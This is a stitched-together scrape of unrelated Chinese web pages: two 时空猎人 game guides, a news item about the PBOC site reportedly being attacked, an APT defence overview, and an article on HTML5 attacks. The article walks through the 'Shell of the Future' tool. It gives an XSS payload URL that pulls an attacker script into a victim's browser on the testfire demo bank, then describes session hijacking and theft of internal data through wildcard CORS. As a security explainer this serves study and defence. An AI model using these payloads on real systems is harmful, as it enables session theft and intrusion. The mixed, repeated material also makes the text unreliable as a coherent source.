|||||| 更多
比特客户端
我们也在这里：
时空猎人特效装备深度解析 武器装备获取途径
时空猎人特效装备深度解析 武器装备获取途径
　　时空猎人特效装备深度解析：审判系列，现阶段的90级装备，初始值都具有基础属性和2个或2个以上的附加属性，并且所有装备品质均为极品。衣服、裤子、鞋子有一定几率携带狂暴特效属性;项链、武器、腰带有一定几率携带吸血特效属性。
　　目前为止装备携带的特效属性共有Lv1、Lv2、Lv3三个等级，分别提供+100、+200、+300的战斗力加成。武器获取途径(几率)：80个红色宝石合成(100%)、密室BOSS掉落(1‰)、官方充值活动(100%)
　　装备获取途径(几率)：转盘抽奖(95级100%)、副本翻牌(15%)、活动地图宝箱(5%)、角色到达90级(100%)、官方充值活动(100%)、公会战(10%)
　　分析开始：
　　目前的90级装备中：
　　① “狂暴”特效属性的具体效果为：触发后释放的两次技能伤害提高。
　　⑴ Lv1无视目标闪避，额外提供10%技能伤害同时实现25%暴击效果;
　　⑵ Lv2无视目标闪避及防御，额外增加10%技能伤害同时实现25%暴击效果;
　　⑶ Lv3受目标闪避及防御影响，额外提供35%技能伤害同时造成25%暴击伤害。
　　② “吸血”特效属性的效具体果为：攻击造成伤害时有几率吸取敌人MP回复自身生命。(吸血特效的真面目是：它分别做了吸和给两个动作，并且它给的和吸的无关。)
时空猎人特效装备深度解析 武器装备获取途径
　　⑴ Lv1多个被伤害对象时：自动选定本次技能造成失血最多者，额外吸取其本次实际失血量的35%然后补偿等值血量到玩家身上;单个被伤害对象时：吸取对象剩余生命值的10%血量，然后按照对象当前总失血值的35%等值补偿血量到玩家身上;
　　⑵ Lv2多个被伤害对象时：自动选定本次技能造成失血最多者，额外吸取其本次实际失血量的35%然后补偿等值血量到玩家身上;单个被伤害对象时：吸取对象剩余生命值的15%血量，然后按照吸血值等值补偿血量到玩家身上
　　⑶ Lv3多个被伤害对象时：自动选定本次技能造成失血最多者，额外吸取其初始生命值的15%血量，然后根据本次技能造成的失血量等值补偿到玩家身上;单个被伤害对象时：吸取对象剩余生命值的15%血量，然后根据本次技能造成的失血量等值补偿到玩家身上(50%几率补偿1.5倍)。
　　③ “狂暴”、“吸血”特效属性，必须在玩家释放技能并造成伤害时，才有几率被触发。
时空猎人特效装备深度解析 武器装备获取途径
　　具体几率为：
　　Lv1有13%几率触发(每5次普通攻击可提高5.5%触发几率);
　　Lv2有13%几率触发(每2次普通攻击可提高5.5%触发几率);
　　Lv3有15%几率触发(每1次普通攻击可提高5.5%触发几率)。
　　④“狂暴”、“吸血”特效属性完全受等级影响，特效属性等级越高角色战力增加得越高，实现特效的效果是否越好还需要进一步计算论证。
　　心得：
　　实际上80级装备继承属性到90级装备时，90级装备可以不看基础只看附加属性条目和特效等级，80级装备就只看基础属性不看附加属性!
　　我的实验结果：准备强+35满星的80级基础591的3防裤子，和一条强+0未升星的基础只有712的90级4防裤子点开转移预览后可以看到90级裤子的附属是4附属防御，基础则是高基础723。
　　这就说明了90级装备可以不看基础(除非你要重新打造)，然后80级装备是3防御转移后90级装备就是4防御了，这也证明了90级装备只要看附属几条就可以!
时空猎人特效装备深度解析 武器装备获取途径
　　同理，如果你80级装备有4条附加属性，就拿衣服做例子吧，80级衣服4附属生命而基础只有51000的话，你可以拿一件90级满基础2条附属装备转移，这样子就会把80级装备的4条附属转移到90级装备上，而80级装备的基础属性转移后比现有90级装备的基础还低，系统就会取90级装备的基础出来，这样也可以得到一件满基础90级四属装备!
　　例一：80级裤子满基础591没有一个防御附属，90级裤子防御基础710四个防御附属，80级的转移90级后可以得到的装备属性如下：满基础723附属4条属性!
　　有人一定会问：那四条属性是否顶级呢?如果90级的是顶级那就是顶级，如果不是就不是!
　　例二：80级裤子基础579四个防御附属，90级裤子基础是满的730两个防御附属，80级的裤子转移90级的后得到的装备属性如下：基础730四个防御附属!
相关文章：
软件信息化周刊
比特软件信息化周刊提供以数据库、操作系统和管理软件为重点的全面软件信息化产业热点、应用方案推荐、实用技巧分享等。以最新的软件资讯，最新的软件技巧，最新的软件与服务业内动态来为IT用户找到软捷径。
商务办公周刊
比特商务周刊是一个及行业资讯、深度分析、企业导购等为一体的综合性周刊。其中，与中国计量科学研究院合力打造的比特实验室可以为商业用户提供最权威的采购指南。是企业用户不可缺少的智选周刊！
比特网络周刊向企业网管员以及网络技术和产品使用者提供关于网络产业动态、技术热点、组网、建网、网络管理、网络运维等最新技术和实用技巧，帮助网管答疑解惑，成为网管好帮手。
服务器周刊
比特服务器周刊作为比特网的重点频道之一，主要关注x86服务器，RISC架构服务器以及高性能计算机行业的产品及发展动态。通过最独到的编辑观点和业界动态分析，让您第一时间了解服务器行业的趋势。
比特存储周刊长期以来，为读者提供企业存储领域高质量的原创内容，及时、全面的资讯、技术、方案以及案例文章，力求成为业界领先的存储媒体。比特存储周刊始终致力于用户的企业信息化建设、存储业务、数据保护与容灾构建以及数据管理部署等方面服务。
比特安全周刊通过专业的信息安全内容建设，为企业级用户打造最具商业价值的信息沟通平台，并为安全厂商提供多层面、多维度的媒体宣传手段。与其他同类网站信息安全内容相比，比特安全周刊运作模式更加独立，对信息安全界的动态新闻更新更快。
新闻中心热点推荐
新闻中心以独特视角精选一周内最具影响力的行业重大事件或圈内精彩故事，为企业级用户打造重点突出，可读性强，商业价值高的信息共享平台；同时为互联网、IT业界及通信厂商提供一条精准快捷，渗透力强，覆盖面广的媒体传播途径。
云计算周刊
比特云计算周刊关注云计算产业热点技术应用与趋势发展，全方位报道云计算领域最新动态。为用户与企业架设起沟通交流平台。包括IaaS、PaaS、SaaS各种不同的服务类型以及相关的安全与管理内容介绍。
CIO俱乐部周刊
比特CIO俱乐部周刊以大量高端CIO沙龙或专题研讨会以及对明星CIO的深入采访为依托，汇聚中国500强CIO的集体智慧。旨为中国杰出的CIO提供一个良好的互融互通 、促进交流的平台，并持续提供丰富的资讯和服务，探讨信息化建设，推动中国信息化发展引领CIO未来职业发展。
IT专家新闻邮件长期以来，以定向、分众、整合的商业模式，为企业IT专业人士以及IT系统采购决策者提供高质量的原创内容，包括IT新闻、评论、专家答疑、技巧和白皮书。此外，IT专家网还为读者提供包括咨询、社区、论坛、线下会议、读者沙龙等多种服务。
X周刊是一份IT人的技术娱乐周刊，给用户实时传递I最新T资讯、IT段子、技术技巧、畅销书籍，同时用户还能参与我们推荐的互动游戏，给广大的IT技术人士忙碌工作之余带来轻松休闲一刻。
微信扫一扫
关注Chinabyte|||||| 更多
比特客户端
我们也在这里：
揭密HTML 5带来的攻击手法
攻击手法 系统安全
　　 是下一代的HTML，HTML5赋予网页更好的意义和结构。更加丰富的标签将随着对RDFa的，微数据与微格式等方面的支持，构建对程序、对用户都更有价值的的Web。基于HTML5开发的网页APP拥有更短的启动时间，更快的联网速度。本文详细介绍了HTML5的普及，带来的新的安全威胁。
　　一、CORS(Cross-Origin Resource Sharing) 跨域资源共享
　　为了构建高品质的网站，以及满足日益增长的用户需求，HTML5针对SOP(同源策略)放宽了一些限制，简单的说，同源策略允许来自同一站点的页面访问其页面的方法和属性等，但限制了跨域调用其他页面的方法和属性。现在HTML5放宽了这些限制，XMLHttpRequest Level 2新增了功能CORS协议，允许Ajax发起跨域的请求，是可以发起跨域请求的，比如你可以外链一个外域的图片或者脚本。但是Javascript脚本是不能获取这些资源的内容的，它只能被浏览器执行或渲染。
　　COR是页面层次的控制模式。每一个页面需要返回一个名为‘-Control-Allow-Origin’的HTTP头来允许外域的站点访问。你可以仅仅暴露有限的资源和有限的外域站点访问。在COR模式中，访问控制的职责可以放到页面开发者的手中，而不是管理员。当然页面开发者需要写专门的处理代码来允许被外域访问。
　　所以只要b.com允许，a.com可以使用ajax获取A上任意数据，国外安全研究者Lava Kumar开发了一款工具“Shell of the future”。
　　Shell of the Future 是一个反向Web Shell处理工具(Reverse Web Shell handler)。利用跨站脚本攻击或浏览器地址栏注入javascript以后，Shell of the Future可进行劫持会话。 它利用了HTML5支持的Cross Origin Requests，可以绕过一些反会话劫持的方法，如HTTP-Only限制的cookie，帮定IP地址的会话ID。
　　如何使用该工具：
　　1、下载并解压该工具，双击“Shell of the Future.exe”，会弹出一个窗口。
　　2、输入任意端口，点击“Start”。
　　3、使用浏览器访问http://127.0.0.1:8008/sotf.console (firefox效果最佳)
　　4、不出问题，你将看到以下画面。(Shell of the Future有两个JavaScript的exp- e1.js和e2.js，我们可以利用XSS漏洞将其嵌入到受害者的浏览器)
　　5、当一个用户登录下面的测试网站：
　　http://www.testfire.net/bank/login.aspx (admin/admin)
　　该站点的搜索功能粗在一个XSS漏洞，http://www.testfire.net/search.aspx?txtSearch=%3Cscript%3Ealert%Fscript%3E
　　6、攻击者发送一个恶意链接给用户，如下：
　　http://www.testfire.net/search.aspx?txtSearch=%3Cscript%20src=%22http://127.0.0.1:8008/e1.js%22%3E%3C/script%3E
　　7、当用户点击之后，攻击者的IP地址将会发攻击者，然后点击“Hijack”：
　　8、点击Hijack Session之后，将出现如下画面：
　　三、访问内部服务器：
　　很多公司除了有ONLINE对外的业务之外，在内部也用着很多的应用，如财务管理系统、员工管理系统以及其他的一些内部社区等，很多开发者为了各个应用之间调用简洁方便，在很多应用中都添加了以下头：
　　Control-Allow-Origin: *
　　攻击者可以利用社会工程学，让内部用户点击一个链接，然后攻击者就可以访问到内部的一些资源，以下为操作步骤：
　　1、员工登录到内部的某应用，如
　　2、internalurl服务器返回的响应头设置了Access-Control-Allow-Origin: *(允许任何域发起的请求获取当前服务器的数据。)
　　3、员工受到一封邮件，点击了链接 C
　　4、这个站点包含了正常的UI内容，所以员工一般不会察觉，但是，该页面包含了一段javascript代码。
　　5、该javascript代码会发送一个XMLHttpRequest请求。
　　6、分析返回的数据包，并把它发送到攻击者的服务器。
　　7、攻击者获取到公司内部站点的相关信息。
相关文章：
[ 责任编辑：小石潭记 ] &&&&
软件信息化周刊
比特软件信息化周刊提供以数据库、操作系统和管理软件为重点的全面软件信息化产业热点、应用方案推荐、实用技巧分享等。以最新的软件资讯，最新的软件技巧，最新的软件与服务业内动态来为IT用户找到软捷径。
商务办公周刊
比特商务周刊是一个及行业资讯、深度分析、企业导购等为一体的综合性周刊。其中，与中国计量科学研究院合力打造的比特实验室可以为商业用户提供最权威的采购指南。是企业用户不可缺少的智选周刊！
比特网络周刊向企业网管员以及网络技术和产品使用者提供关于网络产业动态、技术热点、组网、建网、网络管理、网络运维等最新技术和实用技巧，帮助网管答疑解惑，成为网管好帮手。
服务器周刊
比特服务器周刊作为比特网的重点频道之一，主要关注x86服务器，RISC架构服务器以及高性能计算机行业的产品及发展动态。通过最独到的编辑观点和业界动态分析，让您第一时间了解服务器行业的趋势。
比特存储周刊长期以来，为读者提供企业存储领域高质量的原创内容，及时、全面的资讯、技术、方案以及案例文章，力求成为业界领先的存储媒体。比特存储周刊始终致力于用户的企业信息化建设、存储业务、数据保护与容灾构建以及数据管理部署等方面服务。
比特安全周刊通过专业的信息安全内容建设，为企业级用户打造最具商业价值的信息沟通平台，并为安全厂商提供多层面、多维度的媒体宣传手段。与其他同类网站信息安全内容相比，比特安全周刊运作模式更加独立，对信息安全界的动态新闻更新更快。
新闻中心热点推荐
新闻中心以独特视角精选一周内最具影响力的行业重大事件或圈内精彩故事，为企业级用户打造重点突出，可读性强，商业价值高的信息共享平台；同时为互联网、IT业界及通信厂商提供一条精准快捷，渗透力强，覆盖面广的媒体传播途径。
云计算周刊
比特云计算周刊关注云计算产业热点技术应用与趋势发展，全方位报道云计算领域最新动态。为用户与企业架设起沟通交流平台。包括IaaS、PaaS、SaaS各种不同的服务类型以及相关的安全与管理内容介绍。
CIO俱乐部周刊
比特CIO俱乐部周刊以大量高端CIO沙龙或专题研讨会以及对明星CIO的深入采访为依托，汇聚中国500强CIO的集体智慧。旨为中国杰出的CIO提供一个良好的互融互通 、促进交流的平台，并持续提供丰富的资讯和服务，探讨信息化建设，推动中国信息化发展引领CIO未来职业发展。
IT专家新闻邮件长期以来，以定向、分众、整合的商业模式，为企业IT专业人士以及IT系统采购决策者提供高质量的原创内容，包括IT新闻、评论、专家答疑、技巧和白皮书。此外，IT专家网还为读者提供包括咨询、社区、论坛、线下会议、读者沙龙等多种服务。
X周刊是一份IT人的技术娱乐周刊，给用户实时传递I最新T资讯、IT段子、技术技巧、畅销书籍，同时用户还能参与我们推荐的互动游戏，给广大的IT技术人士忙碌工作之余带来轻松休闲一刻。
微信扫一扫
关注Chinabyte|||||| 更多
比特客户端
我们也在这里：
时空猎人狼人技能搭配攻略 狼人技能组合公式
关键字：搭配攻略 狼人技能 时空猎人 组合公式
　　时空猎人狼人技能搭配攻略 狼人技能组合公式
　　　狼人职业是典型的肉盾职业，高血量高防御，那么狼人技能怎么搭配呢？如何组合狼人技能才能让狼人的肉盾形象发挥的淋漓尽致？那么今天要为大家带来一篇：《时空猎人》狼人技能搭配攻略，狼人的技能主要有这几个类型：普通技、逃生技、高攻技、远攻技。具体的狼人技能搭配方式请往下看!
　　小编也给狼人的技能组合带来一个公式：逃生技+高攻技+远攻技=最强职业技能组合
　　注意：低级的时候高攻技可用普通技代替。
　　在这里为什么说是最强职业技能组合？小编在这里给大家说一下。假如大家有看过一系列的技能全解攻略，相信各位对其它两个职业的技能都有一定了解。相比起其它两个职业的技能，狼人的技能尤其在逃生技上有着巨大的优势。除了有很高的攻击力以外，边走边打就是狼人技能的最大特色了!
　　以下给大家带来狼人的技能全解：
　　由于狼人的输出大，造成刷图也刷得特别快，时空猎人狼人技能的连击率很高。要想玩好狼人职业必须对狼人这个职业的操作非常熟练才可以。
　　旋风拳：狼人怒吼一声，猛地向前方轰出数拳，最后一拳击飞。攻击次数7，耗蓝10.评价：我是没看到哪里有旋风的，作为一个10耗技能，有比较长的施法前摇，注意前摇后摇太长都是很难躲过怪物攻击的。攻击次数太少，DPS偏低。推荐指数5。
　　狂暴冲击：狼人边向前冲，边攻击，最后一拳击飞。攻击次数5，蓝耗10。评价：10蓝耗的技能只打了5Hit,这个技能可以删了。推荐指数1。
　　碎岩击：攻击地面，向前方直线发出数道气浪，只击退不击飞。攻击次数：12,耗蓝15。评价：作为一测狼人王牌技能，被修改成15蓝耗，太心痛了，蓝上限缩小十倍，蓝耗增加一倍使得这个技能鸡肋了，除非觉得蓝多可以用这个技能。推荐指数5。
　　闪影：向前瞬移一段距离，瞬移路过的地方会有气刀攻击敌方，不击退不击飞。攻击次数3，蓝耗5。评价：冲到怪堆死翘翘，并且气刀不容易打中敌方。推荐指数4。
　　旋风击：原地转啊转，周围敌人受伤，不击退不击飞。攻击次数12,蓝耗15.评价：同样是一测狼人的技能，又被改得像屎一样，越想越伤心，施法时间较长，容易被Boss捅死。推荐指数：4。
　　瞬移旋风：瞬移一段距离，再来一个旋风，不击退不击飞。攻击次数9，蓝耗10。评价：瞬移过去转的时间短了，攻击次数不高，对于狼人这种冲锋流打乱怪物阵型使得无法群体阵杀的技能表示鄙夷，华而不实。推荐指数4。
　　闪影旋风：一拳击飞敌人，再追着一阵气刀。攻击次数7，蓝耗10。评价：从没用过此技能，不了解。推荐指数4。
　　旋龙拳：跳起一拳将敌人击飞，啊露根。攻击次数5，耗蓝5。评价：2测从头用到尾的技能，没有前摇后摇，接任何技能都好用，伤害也高，耗蓝少。推荐指数9。
　　旋龙碎岩击：旋龙拳加上一个碎岩击，不过只有一个气浪，击飞。攻击次数5+5，蓝耗10。评价：什么破烂玩意，唯一的好处是后摇短，基本上后面碎岩击的时候就可以放下个技能了，曾经用过一段时间没用了，蓝耗不起。推荐指数6。
　　疾风腿：向前踢着飞出很远，怪物跟着一起飞……。攻击次数5，蓝耗5.评价：又一个2测招牌技能，伤害不错，蓝耗低，冲击流代表，打散怪物阵型专用。推荐指数9。
　　冲击疾风腿：一个狂暴冲击加一个疾风腿，击飞。攻击次数8，蓝耗10。评价：冲是可以冲老远，打完怪蓝多用于过图还是很快的，一个冲击疾风腿加一个疾风腿，20雷龙挑战跑全图。推荐指数：5。
　　抓取：伸出巨大的爪子造成多次伤害，击飞再抓到面前。攻击次数6，蓝耗5。评价：狼人主要伤害技能，作为起手技能使用效果好，抓到面前直接接技能，并且敌人空中僵直。推荐指数：10。
　　冲撞暴击：猛地攻击两拳，再接一个碎岩击。先击飞，后击退。攻击次数：12，耗蓝15。评价：在1测中也是一个犀利的技能，2测中蓝耗增加了，并且伤害也减少了，但是其技能能够给予敌方僵直时间很长，便于其他技能冷却和衔接，所以还是值得一用的，少用但在其他技能冷却而被怪物包围时使用。推荐指数7。
　　移动旋风击：向前移动的旋风击。攻击次数15.蓝耗15.评价：同样是1测超厉害的技能，用于群体阵杀相当不错。攻击范围也很大，可以替换抓取的技能。推荐指数8.
　　推荐狼人技能组合
　　抓取/移动旋风击+旋龙拳+疾风腿。其他技能无视。
相关文章：
软件信息化周刊
比特软件信息化周刊提供以数据库、操作系统和管理软件为重点的全面软件信息化产业热点、应用方案推荐、实用技巧分享等。以最新的软件资讯，最新的软件技巧，最新的软件与服务业内动态来为IT用户找到软捷径。
商务办公周刊
比特商务周刊是一个及行业资讯、深度分析、企业导购等为一体的综合性周刊。其中，与中国计量科学研究院合力打造的比特实验室可以为商业用户提供最权威的采购指南。是企业用户不可缺少的智选周刊！
比特网络周刊向企业网管员以及网络技术和产品使用者提供关于网络产业动态、技术热点、组网、建网、网络管理、网络运维等最新技术和实用技巧，帮助网管答疑解惑，成为网管好帮手。
服务器周刊
比特服务器周刊作为比特网的重点频道之一，主要关注x86服务器，RISC架构服务器以及高性能计算机行业的产品及发展动态。通过最独到的编辑观点和业界动态分析，让您第一时间了解服务器行业的趋势。
比特存储周刊长期以来，为读者提供企业存储领域高质量的原创内容，及时、全面的资讯、技术、方案以及案例文章，力求成为业界领先的存储媒体。比特存储周刊始终致力于用户的企业信息化建设、存储业务、数据保护与容灾构建以及数据管理部署等方面服务。
比特安全周刊通过专业的信息安全内容建设，为企业级用户打造最具商业价值的信息沟通平台，并为安全厂商提供多层面、多维度的媒体宣传手段。与其他同类网站信息安全内容相比，比特安全周刊运作模式更加独立，对信息安全界的动态新闻更新更快。
新闻中心热点推荐
新闻中心以独特视角精选一周内最具影响力的行业重大事件或圈内精彩故事，为企业级用户打造重点突出，可读性强，商业价值高的信息共享平台；同时为互联网、IT业界及通信厂商提供一条精准快捷，渗透力强，覆盖面广的媒体传播途径。
云计算周刊
比特云计算周刊关注云计算产业热点技术应用与趋势发展，全方位报道云计算领域最新动态。为用户与企业架设起沟通交流平台。包括IaaS、PaaS、SaaS各种不同的服务类型以及相关的安全与管理内容介绍。
CIO俱乐部周刊
比特CIO俱乐部周刊以大量高端CIO沙龙或专题研讨会以及对明星CIO的深入采访为依托，汇聚中国500强CIO的集体智慧。旨为中国杰出的CIO提供一个良好的互融互通 、促进交流的平台，并持续提供丰富的资讯和服务，探讨信息化建设，推动中国信息化发展引领CIO未来职业发展。
IT专家新闻邮件长期以来，以定向、分众、整合的商业模式，为企业IT专业人士以及IT系统采购决策者提供高质量的原创内容，包括IT新闻、评论、专家答疑、技巧和白皮书。此外，IT专家网还为读者提供包括咨询、社区、论坛、线下会议、读者沙龙等多种服务。
X周刊是一份IT人的技术娱乐周刊，给用户实时传递I最新T资讯、IT段子、技术技巧、畅销书籍，同时用户还能参与我们推荐的互动游戏，给广大的IT技术人士忙碌工作之余带来轻松休闲一刻。
微信扫一扫
关注Chinabyte中国央行网站遭比特币玩家攻击
来源：中新网&
　　中新社北京12月18日电 中国央行网站18日下午疑遭比特币玩家攻击，出现间歇性登陆困难。
中国央行相关人员对中新社记者表示，自当天下午起确实陆续收到有反映称网站登陆困难，对此央行会通过后台技术人员确认查证相关情况。但央行18日未证实官方网站登陆困难是否因为被“黑”，以及这一事件是否与比特币玩家有关。
　　18日下午，比特时代网站发布通告，强烈谴责这些攻击央行网站的黑客，称“我们网站也曾多次被DDOS攻击。不管怎么样，这样的攻击是不合理且不合法的”。
　　18日下午5时前后，陆续有负责央行新闻的媒体记者及网友反映，央行网站无法登陆，当晚6时左右情况已经好转。但截至18日晚9时左右，记者几次尝试登陆央行网站均发现，虽可顺利打开网站首页，但阅读内文却相当不易，多次提示“无法显示该网页”。特别是12月5日所发“中国人民银行等五部委发布《关于防范比特币风险的通知》”一条，记者在20分钟内尝试数十次后才得以打开链接。
　　分析认为，中国央行近期连续对比特币出监管重拳，可能使得部分比特币玩家做出过激反应。
　　12月5日，中国央行联合五部委发布《关于防范比特币风险的通知》，明确比特币是一种特定的虚拟商品，不具有与货币等同的法律地位，不能且不应作为货币在市场上流通使用。
　　日前，央行约谈国内第三方支付公司支付宝和财富通等，明确要求其不得为比特币交易网站提供托管、交易等业务；对于存量款项，可在春节前完成提现，不得发生新的支付业务。目前支付宝、财付通已关闭比特币等虚拟货币交易窗口。12月18日，国内两大比特币交易平台BTCChina和OKCoin宣布暂停人民币充值，导致一些比特币玩家排队等待提现。受一系列消息影响，比特币最大跌幅近四成。
热门推荐：
淄博时空新闻热线： 热线手机： 新闻QQ：
　　1、淄博时空所有内容的版权均属于作者或页面内声明的版权人。未经淄博时空的书面许可，任何其他个人或组织均不得以任何形式将淄博时空的各项资源转载、复制、编辑或发布使用于其他任何场合；不得把其中任何形式的资讯散发给其他方，不可把这些信息在其他的服务器或文档中作镜像复制或保存；不得修改或再使用淄博时空的任何资源。若有意转载本站信息资料，必需取得淄博时空书面授权。
　　2、已经本网授权使用作品的，应在授权范围内使用，并注明“来源：淄博时空”。违反上述声明者，本网将追究其相关法律责任。
　　3、凡本网注明“来源：XXX（非淄博时空）”的作品，均转载自其它媒体，转载目的在于传递更多信息，并不代表本网赞同其观点和对其真实性负责。
　　4、如因作品内容、版权和其它问题需要同本网联系的，请30日内进行。
　　5、淄博时空投稿信箱：
　　6、淄博时空热线电话：<font color="#FF-6123456 传真电话：<font color="#FF-2304212
分类信息推荐
房产信息推荐
最新出售房源
最新出租房源
委托房源?代办手续
热线：2723518
热线：3117007
热线：3117200
24小时点击排行
民生资讯 综合信息 今日视点
? ? ? ? ? ? ?
? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ?
活动进行时|||||| 更多
比特客户端
我们也在这里：
四类APT安全解决方案面面观
关键字：APT RSA 安全技术 检测 启明星辰 入侵检测 推荐
　　APT检测和防御分类
　　纵观整个APT攻击过程发现，有几个步骤是APT攻击实施的关键，包括攻击者通过对员工个人电脑进行单点攻击突破、攻击者的内部横向渗透、通过构建的控制通道获取攻击者指令，以及最后的敏感数据外传等过程。当前的APT攻击检测和防御方案其实都是围绕这些步骤展开。我们把本届RSA大会上收集到的APT检测和防御方案进行了整理，根据它们所覆盖的APT攻击阶段不同，将它们分为以下四类：
　　1、恶意代码检测类方案：该类方案主要覆盖APT攻击过程中的单点攻击突破阶段，它是检测APT攻击过程中的恶意代码传播过程。大多数APT攻击都是通过恶意代码来攻击员工个人电脑，从而来突破目标网络和系统防御措施的，因此，恶意代码检测对于检测和防御APT攻击至关重要。很多做恶意代码检测的安全厂商就是从恶意代码检测入手来制定其APT检测和防御方案的，典型代表厂商包括FireEye和GFI Software。
　　2、主机应用保护类方案：该类方案主要覆盖APT攻击过程中的单点攻击突破和数据收集上传阶段。不管攻击者通过何种渠道向员工个人电脑发送恶意代码，这个恶意代码必须在员工个人电脑上执行才能控制整个电脑。因此，如果能够加强系统内各主机节点的安全措施，确保员工个人电脑以及的安全，则可以有效防御APT攻击。很多做终端和服务器安全的厂商就是从这个角度入手来制定APT检测和防御方案的，典型代表厂商包括Bit9和趋势科技。
　　3、网络检测类方案：该类方案主要覆盖APT攻击过程中的控制通道构建阶段，通过在网络边界处部署入侵检测系统来检测APT攻击的命令和控制通道。安全分析人员发现，虽然APT攻击所使用的恶意代码变种多且升级频繁，但恶意代码所构建的命令控制通道模式并不经常变化，因此，可以采用传统入侵检测方法来检测APT的命令控制通道。该类方案成功的关键是如何及时获取到各APT攻击手法的命令控制通道的检测特征。很多做入侵检测的厂商就是从这个角度入手来制定APT攻击防御方案的，典型代表厂商有启明星辰、飞塔等。
　　4、分析检测类方案：该类方案并不重点检测APT攻击中的某个步骤，它覆盖了整个APT攻击过程。该类方案是一种网络取证思路，它全面采集各网络设备的原始流量以及各终端和服务器上的日志，然后进行集中的海量数据和深入分析，它可在发现APT攻击的一点蛛丝马迹后，通过全面分析这些海量数据来还原整个APT攻击场景。大数据分析检测方案因为涉及海量数据处理，因此需要构建大数据存储和分析平台，比较典型的大数据分析平台有。很多做大数据分析和的厂商都是从这个角度入手来制定APT攻击检测防御方案的，典型的厂商有RSA和SOLERA。
相关文章：
[ 责任编辑：包俊君 ] &&&&
软件信息化周刊
比特软件信息化周刊提供以数据库、操作系统和管理软件为重点的全面软件信息化产业热点、应用方案推荐、实用技巧分享等。以最新的软件资讯，最新的软件技巧，最新的软件与服务业内动态来为IT用户找到软捷径。
商务办公周刊
比特商务周刊是一个及行业资讯、深度分析、企业导购等为一体的综合性周刊。其中，与中国计量科学研究院合力打造的比特实验室可以为商业用户提供最权威的采购指南。是企业用户不可缺少的智选周刊！
比特网络周刊向企业网管员以及网络技术和产品使用者提供关于网络产业动态、技术热点、组网、建网、网络管理、网络运维等最新技术和实用技巧，帮助网管答疑解惑，成为网管好帮手。
服务器周刊
比特服务器周刊作为比特网的重点频道之一，主要关注x86服务器，RISC架构服务器以及高性能计算机行业的产品及发展动态。通过最独到的编辑观点和业界动态分析，让您第一时间了解服务器行业的趋势。
比特存储周刊长期以来，为读者提供企业存储领域高质量的原创内容，及时、全面的资讯、技术、方案以及案例文章，力求成为业界领先的存储媒体。比特存储周刊始终致力于用户的企业信息化建设、存储业务、数据保护与容灾构建以及数据管理部署等方面服务。
比特安全周刊通过专业的信息安全内容建设，为企业级用户打造最具商业价值的信息沟通平台，并为安全厂商提供多层面、多维度的媒体宣传手段。与其他同类网站信息安全内容相比，比特安全周刊运作模式更加独立，对信息安全界的动态新闻更新更快。
新闻中心热点推荐
新闻中心以独特视角精选一周内最具影响力的行业重大事件或圈内精彩故事，为企业级用户打造重点突出，可读性强，商业价值高的信息共享平台；同时为互联网、IT业界及通信厂商提供一条精准快捷，渗透力强，覆盖面广的媒体传播途径。
云计算周刊
比特云计算周刊关注云计算产业热点技术应用与趋势发展，全方位报道云计算领域最新动态。为用户与企业架设起沟通交流平台。包括IaaS、PaaS、SaaS各种不同的服务类型以及相关的安全与管理内容介绍。
CIO俱乐部周刊
比特CIO俱乐部周刊以大量高端CIO沙龙或专题研讨会以及对明星CIO的深入采访为依托，汇聚中国500强CIO的集体智慧。旨为中国杰出的CIO提供一个良好的互融互通 、促进交流的平台，并持续提供丰富的资讯和服务，探讨信息化建设，推动中国信息化发展引领CIO未来职业发展。
IT专家新闻邮件长期以来，以定向、分众、整合的商业模式，为企业IT专业人士以及IT系统采购决策者提供高质量的原创内容，包括IT新闻、评论、专家答疑、技巧和白皮书。此外，IT专家网还为读者提供包括咨询、社区、论坛、线下会议、读者沙龙等多种服务。
X周刊是一份IT人的技术娱乐周刊，给用户实时传递I最新T资讯、IT段子、技术技巧、畅销书籍，同时用户还能参与我们推荐的互动游戏，给广大的IT技术人士忙碌工作之余带来轻松休闲一刻。
微信扫一扫
关注Chinabyte}